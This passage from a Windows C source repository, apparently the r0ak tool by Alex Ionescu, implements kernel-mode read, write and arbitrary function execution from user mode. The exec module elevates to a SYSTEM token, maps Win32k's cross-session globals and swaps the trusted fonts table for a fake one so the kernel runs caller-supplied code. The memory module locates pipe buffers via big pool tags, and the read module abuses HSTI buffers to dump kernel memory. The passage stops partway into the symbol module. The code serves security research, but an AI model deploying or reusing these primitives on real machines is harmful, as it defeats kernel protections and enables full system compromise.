104 | VOID
105 | KernelFree (
106 | _In_ PKERNEL_ALLOC KernelAlloc
107 | );
108 |
109 | //
110 | // Kernel Execution Routines
111 | //
112 | _Success_(return != 0)
113 | BOOL
114 | KernelExecuteRun (
115 | _In_ PKERNEL_EXECUTE KernelExecute
116 | );
117 |
118 | _Success_(return != 0)
119 | BOOL
120 | KernelExecuteSetup (
121 | _Outptr_ PKERNEL_EXECUTE* KernelExecute,
122 | _In_ PVOID TrampolineFunction
123 | );
124 |
125 | _Success_(return != 0)
126 | BOOL
127 | KernelExecuteSetCallback (
128 | _In_ PKERNEL_EXECUTE KernelExecute,
129 | _In_ PVOID WorkFunction,
130 | _In_ PVOID WorkParameter
131 | );
132 |
133 | VOID
134 | KernelExecuteTeardown (
135 | _In_ PKERNEL_EXECUTE KernelExecute
136 | );
137 |
138 | //
139 | // Kernel Read Routine
140 | //
141 | _Success_(return != 0)
142 | BOOL
143 | CmdReadKernel (
144 | _In_ PKERNEL_EXECUTE KernelExecute,
145 | _In_ PVOID KernelAddress,
146 | _In_ ULONG ValueSize
147 | );
148 |
149 | //
150 | // Kernel Write Routine
151 | //
152 | _Success_(return != 0)
153 | BOOL
154 | CmdWriteKernel (
155 | _In_ PKERNEL_EXECUTE KernelExecute,
156 | _In_ PVOID KernelAddress,
157 | _In_ ULONG KernelValue
158 | );
159 |
160 | //
161 | // Kernel Run Routine
162 | //
163 | _Success_(return != 0)
164 | BOOL
165 | CmdExecuteKernel (
166 | _In_ PKERNEL_EXECUTE KernelExecute,
167 | _In_ PVOID FunctionPointer,
168 | _In_ ULONG_PTR FunctionParameter
169 | );
170 |
171 | //
172 | // ETW Routines
173 | //
174 | _Success_(return != 0)
175 | BOOL
176 | EtwStartSession (
177 | _Outptr_ PETW_DATA* EtwData,
178 | _In_ PVOID WorkerRoutine
179 | );
180 |
181 | _Success_(return != 0)
182 | BOOL
183 | EtwParseSession (
184 | _In_ PETW_DATA EtwData
185 | );
186 |
187 |
--------------------------------------------------------------------------------
/r0ak.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r0ak", "r0ak.vcxproj", "{689FD196-F8F9-45B2-8F9E-ACA4767776A2}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Release|x64 = Release|x64
11 | EndGlobalSection
12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
13 | {689FD196-F8F9-45B2-8F9E-ACA4767776A2}.Release|x64.ActiveCfg = Release|x64
14 | {689FD196-F8F9-45B2-8F9E-ACA4767776A2}.Release|x64.Build.0 = Release|x64
15 | EndGlobalSection
16 | GlobalSection(SolutionProperties) = preSolution
17 | HideSolutionNode = FALSE
18 | EndGlobalSection
19 | EndGlobal
20 |
--------------------------------------------------------------------------------
/r0ak.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Release
6 | x64
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 | Create
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 | {689FD196-F8F9-45B2-8F9E-ACA4767776A2}
27 | {504102d4-2172-473c-8adf-cd96e308f257}
28 | v4.5
29 | 12.0
30 | Release
31 | r0ak
32 | $(LatestTargetPlatformVersion)
33 |
34 |
35 |
36 | Windows10
37 | false
38 | WindowsApplicationForDrivers10.0
39 | Application
40 | true
41 |
42 |
43 |
44 |
45 | RequireAdministrator
46 | ntdll.lib;%(AdditionalDependencies)
47 | true
48 | true
49 |
50 |
51 | Use
52 | r0ak.h
53 | Full
54 | AnySuitable
55 | true
56 | Speed
57 | true
58 |
59 |
60 |
61 |
--------------------------------------------------------------------------------
/r0aketw.c:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | Copyright (c) Alex Ionescu. All rights reserved.
4 |
5 | Module Name:
6 |
7 | r0aketw.c
8 |
9 | Abstract:
10 |
11 | This module implements the ETW tracing support routines for r0ak
12 |
13 | Author:
14 |
15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version
16 |
17 | Environment:
18 |
19 | User mode only.
20 |
21 | --*/
22 | #include "r0ak.h"
23 |
24 | //
25 | // Tracks tracing data between calls
26 | //
27 | typedef struct _ETW_DATA
28 | {
29 | TRACEHANDLE SessionHandle;
30 | TRACEHANDLE ParserHandle;
31 | PEVENT_TRACE_PROPERTIES Properties;
32 | PVOID WorkItemRoutine;
33 | } ETW_DATA, *PETW_DATA;
34 |
35 | DEFINE_GUID(g_EtwTraceGuid,
36 | 0x53636210,
37 | 0xbe24,
38 | 0x1264,
39 | 0xc6, 0xa5, 0xf0, 0x9c, 0x59, 0x88, 0x1e, 0xbd);
40 | WCHAR g_EtwTraceName[] = L"r0ak-etw";
41 |
42 | VOID
43 | EtpEtwEventCallback(
44 | _In_ PEVENT_RECORD EventRecord
45 | )
46 | {
47 | PETW_DATA etwData;
48 |
49 | //
50 | // Look for an "end of work item execution event"
51 | //
52 | if (EventRecord->EventHeader.EventDescriptor.Opcode ==
53 | (PERFINFO_LOG_TYPE_WORKER_THREAD_ITEM_END & 0xFF))
54 | {
55 | //
56 | // Grab our context and check if the work routine matches ours
57 | //
58 | etwData = (PETW_DATA)EventRecord->UserContext;
59 | if (*(PVOID*)EventRecord->UserData == etwData->WorkItemRoutine)
60 | {
61 | //
62 | // Stop the trace -- this callback will run a few more times
63 | //
64 | printf("[+] Kernel finished executing work item at 0x%.16p\n",
65 | etwData->WorkItemRoutine);
66 | ControlTrace(etwData->SessionHandle,
67 | NULL,
68 | etwData->Properties,
69 | EVENT_TRACE_CONTROL_STOP);
70 | }
71 | }
72 | }
73 |
74 | _Success_(return != 0)
75 | BOOL
76 | EtwParseSession (
77 | _In_ PETW_DATA EtwData
78 | )
79 | {
80 | ULONG errorCode;
81 |
82 | //
83 | // Process the trace until the right work item is found
84 | //
85 | errorCode = ProcessTrace(&EtwData->ParserHandle, 1, NULL, NULL);
86 | if (errorCode != ERROR_SUCCESS)
87 | {
88 | printf("[-] Failed to process trace: %lX\n", errorCode);
89 | ControlTrace(EtwData->SessionHandle,
90 | NULL,
91 | EtwData->Properties,
92 | EVENT_TRACE_CONTROL_STOP);
93 | }
94 |
95 | //
96 | // All done -- cleanup
97 | //
98 | CloseTrace(EtwData->ParserHandle);
99 | HeapFree(GetProcessHeap(), 0, EtwData->Properties);
100 | HeapFree(GetProcessHeap(), 0, EtwData);
101 | return errorCode == ERROR_SUCCESS;
102 | }
103 |
104 | _Success_(return != 0)
105 | BOOL
106 | EtwStartSession (
107 | _Outptr_ PETW_DATA* EtwData,
108 | _In_ PVOID WorkItemRoutine
109 | )
110 | {
111 | ULONG errorCode;
112 | ULONG traceFlags[8] = { 0 };
113 | EVENT_TRACE_LOGFILEW logFile = { 0 };
114 | ULONG bufferSize;
115 |
116 | //
117 | // Initialize context
118 | //
119 | *EtwData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(**EtwData));
120 | if (*EtwData == NULL)
121 | {
122 | printf("[-] Out of memory allocating ETW state\n");
123 | return FALSE;
124 | }
125 |
126 | //
127 | // Allocate memory for our session descriptor
128 | //
129 | bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(g_EtwTraceName);
130 | (*EtwData)->Properties = HeapAlloc(GetProcessHeap(),
131 | HEAP_ZERO_MEMORY,
132 | bufferSize);
133 | if ((*EtwData)->Properties == NULL)
134 | {
135 | printf("[-] Failed to allocate memory for the ETW trace\n");
136 | HeapFree(GetProcessHeap(), 0, *EtwData);
137 | return FALSE;
138 | }
139 |
140 | //
141 | // Create a real-time session using the system logger, tracing nothing
142 | //
143 | (*EtwData)->Properties->Wnode.BufferSize = bufferSize;
144 | (*EtwData)->Properties->Wnode.Guid = g_EtwTraceGuid;
145 | (*EtwData)->Properties->Wnode.ClientContext = 1;
146 | (*EtwData)->Properties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
147 | (*EtwData)->Properties->MinimumBuffers = 1;
148 | (*EtwData)->Properties->LogFileMode = EVENT_TRACE_REAL_TIME_MODE |
149 | EVENT_TRACE_SYSTEM_LOGGER_MODE;
150 | (*EtwData)->Properties->FlushTimer = 1;
151 | (*EtwData)->Properties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
152 | errorCode = StartTrace(&(*EtwData)->SessionHandle,
153 | g_EtwTraceName,
154 | (*EtwData)->Properties);
155 | if (errorCode != ERROR_SUCCESS)
156 | {
157 | printf("[-] Failed to create the event trace session: %lX\n",
158 | errorCode);
159 | HeapFree(GetProcessHeap(), 0, (*EtwData)->Properties);
160 | HeapFree(GetProcessHeap(), 0, *EtwData);
161 | return FALSE;
162 | }
163 |
164 | //
165 | // Open a consumer handle to it
166 | //
167 | logFile.LoggerName = g_EtwTraceName;
168 | logFile.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME |
169 | PROCESS_TRACE_MODE_EVENT_RECORD;
170 | logFile.EventRecordCallback = EtpEtwEventCallback;
171 | logFile.Context = *EtwData;
172 | (*EtwData)->ParserHandle = OpenTrace(&logFile);
173 | if ((*EtwData)->ParserHandle == INVALID_PROCESSTRACE_HANDLE)
174 | {
175 | printf("[-] Failed open a consumer handle for the trace session: %lX\n",
176 | GetLastError());
177 | ControlTrace((*EtwData)->SessionHandle,
178 | NULL,
179 | (*EtwData)->Properties,
180 | EVENT_TRACE_CONTROL_STOP);
181 | HeapFree(GetProcessHeap(), 0, (*EtwData)->Properties);
182 | HeapFree(GetProcessHeap(), 0, *EtwData);
183 | return FALSE;
184 | }
185 |
186 | //
187 | // Trace worker thread events
188 | //
189 | traceFlags[2] = PERF_WORKER_THREAD;
190 | errorCode = TraceSetInformation((*EtwData)->SessionHandle,
191 | TraceSystemTraceEnableFlagsInfo,
192 | traceFlags,
193 | sizeof(traceFlags));
194 | if (errorCode != ERROR_SUCCESS)
195 | {
196 | printf("[-] Failed to set flags for event trace session: %lX\n",
197 | errorCode);
198 | ControlTrace((*EtwData)->SessionHandle,
199 | NULL,
200 | (*EtwData)->Properties,
201 | EVENT_TRACE_CONTROL_STOP);
202 | CloseTrace((*EtwData)->ParserHandle);
203 | HeapFree(GetProcessHeap(), 0, (*EtwData)->Properties);
204 | HeapFree(GetProcessHeap(), 0, *EtwData);
205 | return FALSE;
206 | }
207 |
208 | //
209 | // Remember which work routine we'll be looking for
210 | //
211 | (*EtwData)->WorkItemRoutine = WorkItemRoutine;
212 | return TRUE;
213 | }
214 |
--------------------------------------------------------------------------------
/r0akexec.c:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | Copyright (c) Alex Ionescu. All rights reserved.
4 |
5 | Module Name:
6 |
7 | r0akexec.c
8 |
9 | Abstract:
10 |
11 | This module implements the kernel-mode execution engine for r0ak
12 |
13 | Author:
14 |
15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version
16 |
17 | Environment:
18 |
19 | User mode only.
20 |
21 | --*/
22 |
23 | #include "r0ak.h"
24 |
25 | typedef struct _CONTEXT_PAGE
26 | {
27 | RTL_BALANCED_LINKS Header;
28 | UCHAR Reserved[0x50];
29 | WORK_QUEUE_ITEM WorkItem;
30 | } CONTEXT_PAGE, *PCONTEXT_PAGE;
31 |
32 | //
33 | // Tracks execution state between calls
34 | //
35 | typedef struct _KERNEL_EXECUTE
36 | {
37 | PXSGLOBALS Globals;
38 | PKERNEL_ALLOC TrampolineAllocation;
39 | PRTL_BALANCED_LINKS TrampolineParameter;
40 | } KERNEL_EXECUTE, *PKERNEL_EXECUTE;
41 |
42 | _Success_(return != 0)
43 | BOOL
44 | KernelExecuteRun (
45 | _In_ PKERNEL_EXECUTE KernelExecute
46 | )
47 | {
48 | PRTL_AVL_TABLE realTable, fakeTable;
49 | BOOL b;
50 |
51 | //
52 | // Remember original pointer
53 | //
54 | realTable = KernelExecute->Globals->TrustedFontsTable;
55 |
56 | //
57 | // Remove arial, which is our target font
58 | //
59 | b = RemoveFontResourceExW(L"C:\\windows\\fonts\\arial.ttf", 0, NULL);
60 | if (b == 0)
61 | {
62 | printf("[-] Failed to remove font: %lx\n", GetLastError());
63 | return b;
64 | }
65 |
66 | //
67 | // Save the original trusted font file table and overwrite it with our own.
68 | //
69 | fakeTable = (PRTL_AVL_TABLE)((KernelExecute->Globals) + 1);
70 | fakeTable->BalancedRoot.RightChild = KernelExecute->TrampolineParameter;
71 | KernelExecute->Globals->TrustedFontsTable = fakeTable;
72 |
73 | //
74 | // Set our priority to 4, the theory being that this should force the work
75 | // item to execute even on a single-processor core
76 | //
77 | SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_BEGIN);
78 |
79 | //
80 | // Add a font -- Win32k.sys will check if it's in the trusted path,
81 | // triggering the AVL search. This will trigger the execute.
82 | //
83 | b = AddFontResourceExW(L"C:\\windows\\fonts\\arial.ttf", 0, NULL);
84 | if (b == 0)
85 | {
86 | printf("[-] Failed to add font: %lx\n", GetLastError());
87 | }
88 |
89 | //
90 | // Restore original pointer and thread priority
91 | //
92 | KernelExecute->Globals->TrustedFontsTable = realTable;
93 | SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_END);
94 | return b;
95 | }
96 |
97 | VOID
98 | KernelExecuteTeardown (
99 | _In_ PKERNEL_EXECUTE KernelExecute
100 | )
101 | {
102 | //
103 | // Free the trampoline context
104 | //
105 | KernelFree(KernelExecute->TrampolineAllocation);
106 |
107 | //
108 | // Unmap the globals
109 | //
110 | UnmapViewOfFile(KernelExecute->Globals);
111 |
112 | //
113 | // Free the context
114 | //
115 | HeapFree(GetProcessHeap(), 0, KernelExecute);
116 | }
117 |
118 | _Success_(return != 0)
119 | BOOL
120 | KernelExecuteSetup (
121 | _Outptr_ PKERNEL_EXECUTE* KernelExecute,
122 | _In_ PVOID TrampolineFunction
123 | )
124 | {
125 | PRTL_AVL_TABLE fakeTable;
126 | BOOL b;
127 | NTSTATUS status;
128 | HANDLE hFile;
129 | UNICODE_STRING name;
130 | OBJECT_ATTRIBUTES objectAttributes;
131 |
132 | //
133 | // Callers can't pass NULL
134 | //
135 | if (KernelExecute == NULL)
136 | {
137 | return FALSE;
138 | }
139 |
140 | //
141 | // Initialize the context
142 | //
143 | *KernelExecute = HeapAlloc(GetProcessHeap(),
144 | HEAP_ZERO_MEMORY,
145 | sizeof(**KernelExecute));
146 | if (*KernelExecute == NULL)
147 | {
148 | printf("[-] Out of memory allocating execution tracker\n");
149 | return FALSE;
150 | }
151 |
152 | //
153 | // Get a SYSTEM token
154 | //
155 | b = ElevateToSystem();
156 | if (b == FALSE)
157 | {
158 | printf("[-] Failed to elevate to SYSTEM privileges\n");
159 | HeapFree(GetProcessHeap(), 0, *KernelExecute);
160 | return FALSE;
161 | }
162 |
163 | //
164 | // Open a handle to Win32k's cross-session globals section object
165 | //
166 | RtlInitUnicodeString(&name, L"\\Win32kCrossSessionGlobals");
167 | InitializeObjectAttributes(&objectAttributes,
168 | &name,
169 | OBJ_CASE_INSENSITIVE,
170 | NULL,
171 | NULL);
172 | status = ZwOpenSection(&hFile, MAXIMUM_ALLOWED, &objectAttributes);
173 |
174 | //
175 | // We can drop impersonation now
176 | //
177 | b = RevertToSelf();
178 | if (b == FALSE)
179 | {
180 | //
181 | // Not much to do but trace
182 | //
183 | printf("[-] Failed to revert impersonation token: %lX\n",
184 | GetLastError());
185 | }
186 |
187 | //
188 | // Can't keep going if we couldn't get a handle to the section
189 | //
190 | if (!NT_SUCCESS(status))
191 | {
192 | printf("[-] Couldn't open handle to kernel execution block: %lx\n",
193 | status);
194 | CloseHandle(hFile);
195 | HeapFree(GetProcessHeap(), 0, *KernelExecute);
196 | return FALSE;
197 | }
198 |
199 | //
200 | // Map the section object in our address space
201 | //
202 | (*KernelExecute)->Globals = MapViewOfFile(hFile,
203 | FILE_MAP_ALL_ACCESS,
204 | 0,
205 | 0,
206 | sizeof((*KernelExecute)->Globals));
207 | CloseHandle(hFile);
208 | if ((*KernelExecute)->Globals == NULL)
209 | {
210 | printf("[-] Couldn't map kernel execution block: %lx\n",
211 | GetLastError());
212 | HeapFree(GetProcessHeap(), 0, *KernelExecute);
213 | return FALSE;
214 | }
215 |
216 | //
217 | // Setup the table
218 | //
219 | printf("[+] Mapped kernel execution block at 0x%.16p\n",
220 | (*KernelExecute)->Globals);
221 | fakeTable = (PRTL_AVL_TABLE)((*KernelExecute)->Globals + 1);
222 | fakeTable->DepthOfTree = 1;
223 | fakeTable->NumberGenericTableElements = 1;
224 | fakeTable->CompareRoutine = TrampolineFunction;
225 | return TRUE;
226 | }
227 |
228 | _Success_(return != 0)
229 | BOOL
230 | KernelExecuteSetCallback (
231 | _In_ PKERNEL_EXECUTE KernelExecute,
232 | _In_ PVOID WorkFunction,
233 | _In_ PVOID WorkParameter
234 | )
235 | {
236 | PCONTEXT_PAGE contextBuffer;
237 | PKERNEL_ALLOC kernelAlloc;
238 |
239 | //
240 | // Allocate the right child page that will be sent to the trampoline
241 | //
242 | contextBuffer = KernelAlloc(&kernelAlloc, sizeof(*contextBuffer));
243 | if (contextBuffer == NULL)
244 | {
245 | printf("[-] Failed to allocate memory for WORK_QUEUE_ITEM\n");
246 | return FALSE;
247 | }
248 |
249 | //
250 | // Fill out the worker and its parameter
251 | //
252 | contextBuffer->WorkItem.WorkerRoutine = WorkFunction;
253 | contextBuffer->WorkItem.Parameter = WorkParameter;
254 |
255 | //
256 | // Write into the buffer
257 | //
258 | contextBuffer = (PCONTEXT_PAGE)KernelWrite(kernelAlloc);
259 | if (contextBuffer == NULL)
260 | {
261 | KernelFree(kernelAlloc);
262 | printf("[-] Failed to find kernel memory for WORK_QUEUE_ITEM\n");
263 | return FALSE;
264 | }
265 |
266 | //
267 | // Return the balanced links with the appropriate work item
268 | //
269 | KernelExecute->TrampolineAllocation = kernelAlloc;
270 | KernelExecute->TrampolineParameter = &contextBuffer->Header;
271 | return TRUE;
272 | }
273 |
--------------------------------------------------------------------------------
/r0akmem.c:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | Copyright (c) Alex Ionescu. All rights reserved.
4 |
5 | Module Name:
6 |
7 | r0akmem.c
8 |
9 | Abstract:
10 |
11 | This module implements kernel memory allocation and mapping for r0ak
12 |
13 | Author:
14 |
15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version
16 |
17 | Environment:
18 |
19 | User mode only.
20 |
21 | --*/
22 |
23 | #include "r0ak.h"
24 |
25 | //
26 | // Internal definitions
27 | //
28 | #define POOL_TAG_FIXED_BUFFER (32 * 1024 * 1024)
29 | #define PAGE_SIZE 4096
30 | #define NPFS_DATA_ENTRY_SIZE 0x30
31 | #define NPFS_DATA_ENTRY_POOL_TAG 'rFpN'
32 |
33 | //
34 | // Tracks allocation state between calls
35 | //
36 | typedef struct _KERNEL_ALLOC
37 | {
38 | HANDLE Pipes[2];
39 | PVOID UserBase;
40 | PVOID KernelBase;
41 | ULONG MagicSize;
42 | } KERNEL_ALLOC, *PKERNEL_ALLOC;
43 |
44 | _Success_(return != 0)
45 | PVOID
46 | GetKernelAddress (
47 | _In_ ULONG Size
48 | )
49 | {
50 | NTSTATUS status;
51 | PSYSTEM_BIGPOOL_INFORMATION bigPoolInfo;
52 | PSYSTEM_BIGPOOL_ENTRY entry;
53 | ULONG resultLength;
54 | ULONG_PTR resultAddress;
55 | ULONG i;
56 |
57 | //
58 | // Allocate a large 32MB buffer to store pool tags in
59 | //
60 | bigPoolInfo = VirtualAlloc(NULL,
61 | POOL_TAG_FIXED_BUFFER,
62 | MEM_COMMIT | MEM_RESERVE,
63 | PAGE_READWRITE);
64 | if (!bigPoolInfo)
65 | {
66 | printf("[-] No memory for pool buffer\n");
67 | return NULL;
68 | }
69 |
70 | //
71 | // Dump all pool tags
72 | //
73 | status = NtQuerySystemInformation(SystemBigPoolInformation,
74 | bigPoolInfo,
75 | POOL_TAG_FIXED_BUFFER,
76 | &resultLength);
77 | if (!NT_SUCCESS(status))
78 | {
79 | printf("[-] Failed to dump pool allocations: %lx\n", status);
80 | return NULL;
81 | }
82 |
83 | //
84 | // Scroll through them all
85 | //
86 | for (resultAddress = 0, i = 0; i < bigPoolInfo->Count; i++)
87 | {
88 | //
89 | // Check for the desired allocation
90 | //
91 | entry = &bigPoolInfo->AllocatedInfo[i];
92 | if (entry->TagUlong == NPFS_DATA_ENTRY_POOL_TAG)
93 | {
94 | //
95 | // With the Heap-Backed Pool in RS5/19H1, sizes are precise, while
96 | // the large pool allocator uses page-aligned pages
97 | //
98 | if ((entry->SizeInBytes == (Size + PAGE_SIZE)) ||
99 | (entry->SizeInBytes == (Size + NPFS_DATA_ENTRY_SIZE)))
100 | {
101 | //
102 | // Mask out the nonpaged pool bit
103 | //
104 | resultAddress = (ULONG_PTR)entry->VirtualAddress & ~1;
105 | break;
106 | }
107 | }
108 | }
109 |
110 | //
111 | // Weird..
112 | //
113 | if (resultAddress == 0)
114 | {
115 | printf("[-] Kernel buffer not found!\n");
116 | return NULL;
117 | }
118 |
119 | //
120 | // Free the buffer
121 | //
122 | VirtualFree(bigPoolInfo, 0, MEM_RELEASE);
123 | return (PVOID)(resultAddress + NPFS_DATA_ENTRY_SIZE);
124 | }
125 |
126 | _Success_(return != 0)
127 | PVOID
128 | KernelAlloc (
129 | _Outptr_ PKERNEL_ALLOC* KernelAlloc,
130 | _In_ ULONG Size
131 | )
132 | {
133 | BOOL b;
134 |
135 | //
136 | // Catch bad callers
137 | //
138 | if (KernelAlloc == NULL)
139 | {
140 | return NULL;
141 | }
142 |
143 | //
144 | // Only support < 2KB allocations
145 | //
146 | *KernelAlloc = NULL;
147 | if (Size > 2048)
148 | {
149 | return NULL;
150 | }
151 |
152 | //
153 | // Allocate our tracker structure
154 | //
155 | *KernelAlloc = HeapAlloc(GetProcessHeap(),
156 | HEAP_ZERO_MEMORY,
157 | sizeof(**KernelAlloc));
158 | if (*KernelAlloc == NULL)
159 | {
160 | return NULL;
161 | }
162 |
163 | //
164 | // Compute a magic size to get something in big pool that should be unique
165 | // This will use at most ~5MB of non-paged pool
166 | //
167 | (*KernelAlloc)->MagicSize = 0;
168 | while ((*KernelAlloc)->MagicSize == 0)
169 | {
170 | (*KernelAlloc)->MagicSize = (((__rdtsc() & 0xFF000000) >> 24) * 0x5000);
171 | }
172 |
173 | //
174 | // Allocate the right child page that will be sent to the trampoline
175 | //
176 | (*KernelAlloc)->UserBase = VirtualAlloc(NULL,
177 | (*KernelAlloc)->MagicSize,
178 | MEM_COMMIT | MEM_RESERVE,
179 | PAGE_READWRITE);
180 | if ((*KernelAlloc)->UserBase == NULL)
181 | {
182 | printf("[-] Failed to allocate user-mode memory for kernel buffer\n");
183 | return NULL;
184 | }
185 |
186 | //
187 | // Allocate a pipe to hold on to the buffer
188 | //
189 | b = CreatePipe(&(*KernelAlloc)->Pipes[0],
190 | &(*KernelAlloc)->Pipes[1],
191 | NULL,
192 | (*KernelAlloc)->MagicSize);
193 | if (!b)
194 | {
195 | printf("[-] Failed creating the pipe: %lx\n",
196 | GetLastError());
197 | return NULL;
198 | }
199 |
200 | //
201 | // Return the allocated user-mode base
202 | //
203 | return (*KernelAlloc)->UserBase;
204 | }
205 |
206 | _Success_(return != 0)
207 | PVOID
208 | KernelWrite (
209 | _In_ PKERNEL_ALLOC KernelAlloc
210 | )
211 | {
212 | BOOL b;
213 |
214 | //
215 | // Write into the buffer
216 | //
217 | b = WriteFile(KernelAlloc->Pipes[1],
218 | KernelAlloc->UserBase,
219 | KernelAlloc->MagicSize,
220 | NULL,
221 | NULL);
222 | if (!b)
223 | {
224 | printf("[-] Failed writing kernel buffer: %lx\n",
225 | GetLastError());
226 | return NULL;
227 | }
228 |
229 | //
230 | // Compute the kernel address and return it
231 | //
232 | KernelAlloc->KernelBase = GetKernelAddress(KernelAlloc->MagicSize);
233 | return KernelAlloc->KernelBase;
234 | }
235 |
236 | VOID
237 | KernelFree (
238 | _In_ PKERNEL_ALLOC KernelAlloc
239 | )
240 | {
241 | //
242 | // Free the UM side of the allocation
243 | //
244 | VirtualFree(KernelAlloc->UserBase, 0, MEM_RELEASE);
245 |
246 | //
247 | // Close the pipes, which will free the kernel side
248 | //
249 | CloseHandle(KernelAlloc->Pipes[0]);
250 | CloseHandle(KernelAlloc->Pipes[1]);
251 |
252 | //
253 | // Free the structure
254 | //
255 | HeapFree(GetProcessHeap(), 0, KernelAlloc);
256 | }
257 |
258 |
--------------------------------------------------------------------------------
/r0akrd.c:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | Copyright (c) Alex Ionescu. All rights reserved.
4 |
5 | Module Name:
6 |
7 | r0akrd.c
8 |
9 | Abstract:
10 |
11 | This module implements read capabilities for r0ak
12 |
13 | Author:
14 |
15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version
16 |
17 | Environment:
18 |
19 | User mode only.
20 |
21 | --*/
22 |
23 | #include "r0ak.h"
24 |
25 | _Success_(return != 0)
26 | BOOL
27 | CmdReadKernel (
28 | _In_ PKERNEL_EXECUTE KernelExecute,
29 | _In_ PVOID KernelAddress,
30 | _In_ ULONG ValueSize
31 | )
32 | {
33 | BOOL b;
34 | NTSTATUS status;
35 | PVOID userData;
36 |
37 | //
38 | // First, set the size that the user wants
39 | //
40 | printf("[+] Setting size to 0x%.16lX\n",
41 | ValueSize);
42 | b = CmdWriteKernel(KernelExecute, g_HstiBufferSize, ValueSize);
43 | if (b == FALSE)
44 | {
45 | printf("[-] Fail to set size\n");
46 | return b;
47 | }
48 |
49 | //
50 | // Then, set the pointer -- our write is 32-bits so we do it in 2 steps
51 | //
52 | printf("[+] Setting pointer to 0x%.16p\n",
53 | KernelAddress);
54 | b = CmdWriteKernel(KernelExecute,
55 | g_HstiBufferPointer,
56 | (ULONG_PTR)KernelAddress & 0xFFFFFFFF);
57 | if (b == FALSE)
58 | {
59 | printf("[-] Fail to set lower pointer bits\n");
60 | return b;
61 | }
62 | b = CmdWriteKernel(KernelExecute,
63 | (PVOID)((ULONG_PTR)g_HstiBufferPointer + 4),
64 | (ULONG_PTR)KernelAddress >> 32);
65 | if (b == FALSE)
66 | {
67 | printf("[-] Fail to set lower pointer bits\n");
68 | return b;
69 | }
70 |
71 | //
72 | // Allocate a buffer for the data in user space
73 | //
74 | userData = VirtualAlloc(NULL,
75 | ValueSize,
76 | MEM_COMMIT | MEM_RESERVE,
77 | PAGE_READWRITE);
78 | if (userData == NULL)
79 | {
80 | printf("[-] Failed to allocate user mode buffer\n");
81 | return FALSE;
82 | }
83 |
84 | //
85 | // Now do the read by abusing the HSTI buffers
86 | //
87 | status = NtQuerySystemInformation(
88 | SystemHardwareSecurityTestInterfaceResultsInformation,
89 | userData,
90 | ValueSize,
91 | NULL);
92 | if (!NT_SUCCESS(status))
93 | {
94 | printf("[-] Failed to read kernel data\n");
95 | }
96 | else
97 | {
98 | DumpHex(userData, ValueSize);
99 | }
100 |
101 | //
102 | // Free the buffer and exit
103 | //
104 | VirtualFree(userData, 0, MEM_RELEASE);
105 | return NT_SUCCESS(status);
106 | }
107 |
108 |
--------------------------------------------------------------------------------
/r0akrun.c:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | Copyright (c) Alex Ionescu. All rights reserved.
4 |
5 | Module Name:
6 |
7 | r0akrun.c
8 |
9 | Abstract:
10 |
11 | This module implements run capabilities for r0ak
12 |
13 | Author:
14 |
15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version
16 |
17 | Environment:
18 |
19 | User mode only.
20 |
21 | --*/
22 |
23 | #include "r0ak.h"
24 |
25 | _Success_(return != 0)
26 | BOOL
27 | CmdExecuteKernel (
28 | _In_ PKERNEL_EXECUTE KernelExecute,
29 | _In_ PVOID FunctionPointer,
30 | _In_ ULONG_PTR FunctionParameter
31 | )
32 | {
33 | PETW_DATA etwData;
34 | BOOL b;
35 |
36 | //
37 | // Initialize a work item for the caller-supplied function and argument
38 | //
39 | printf("[+] Calling function pointer 0x%p\n", FunctionPointer);
40 | b = KernelExecuteSetCallback(KernelExecute,
41 | FunctionPointer,
42 | (PVOID)FunctionParameter);
43 | if (b == FALSE)
44 | {
45 | printf("[-] Failed to initialize work item trampoline\n");
46 | return b;
47 | }
48 |
49 | //
50 | // Begin ETW tracing to look for the work item executing
51 | //
52 | etwData = NULL;
53 | b = EtwStartSession(&etwData, FunctionPointer);
54 | if (b == FALSE)
55 | {
56 | printf("[-] Failed to start ETW trace\n");
57 | return b;
58 | }
59 |
60 | //
61 | // Execute it!
62 | //
63 | b = KernelExecuteRun(KernelExecute);
64 | if (b == FALSE)
65 | {
66 | printf("[-] Failed to execute work item\n");
67 | return b;
68 | }
69 |
70 | //
71 | // Wait for execution to finish
72 | //
73 | b = EtwParseSession(etwData);
74 | if (b == FALSE)
75 | {
76 | //
77 | // We have no idea if execution finished -- block forever
78 | //
79 | printf("[-] Failed to parse ETW trace\n");
80 | Sleep(INFINITE);
81 | }
82 | return b;
83 | }
84 |
--------------------------------------------------------------------------------
/r0aksym.c:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | Copyright (c) Alex Ionescu. All rights reserved.
4 |
5 | Module Name:
6 |
7 | r0aksym.c
8 |
9 | Abstract:
10 |
11 | This module implements the symbol engine interface and parsing for r0ak
12 |
13 | Author:
14 |
15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version
16 |
17 | Environment:
18 |
19 | User mode only.
20 |
21 | --*/
22 |
23 | #include "r0ak.h"
24 |
25 | typedef DWORD64
